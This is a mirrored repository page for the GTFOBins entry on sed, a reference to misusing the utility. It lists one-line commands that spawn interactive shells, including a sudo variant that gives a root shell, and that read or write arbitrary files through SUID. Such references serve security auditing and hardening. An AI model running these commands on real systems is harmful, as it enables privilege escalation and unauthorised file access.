This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-04 18:58:33 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
401c469b26b5e8e04fbff58c183b200daf58e375
GTFOBins.github.io
/
_gtfobins
/
sed.md
Andrea Cardaci
b3fc53a9d3
Remove invalid SUID execute from sed
2018-06-13 16:42:02 +02:00
736 B
Raw
Blame
History
functions
functions
execute-interactive
execute-non-interactive
sudo-enabled
suid-enabled
file-read
file-write
description
code
GNU version only. Also, this requires `bash`.
sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
description
code
GNU version only.
sed -n "1e id" /etc/hosts
description
code
GNU version only. Also, this requires `bash`.
sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
code
LFILE=file_to_read ./sed -e '' "$LFILE"
code
LFILE=file_to_read sed '' "$LFILE"
code
LFILE=file_to_write sed -n "1s/.*/data/w $LFILE" /etc/hosts
Reference in New Issue
View Git Blame
Copy Permalink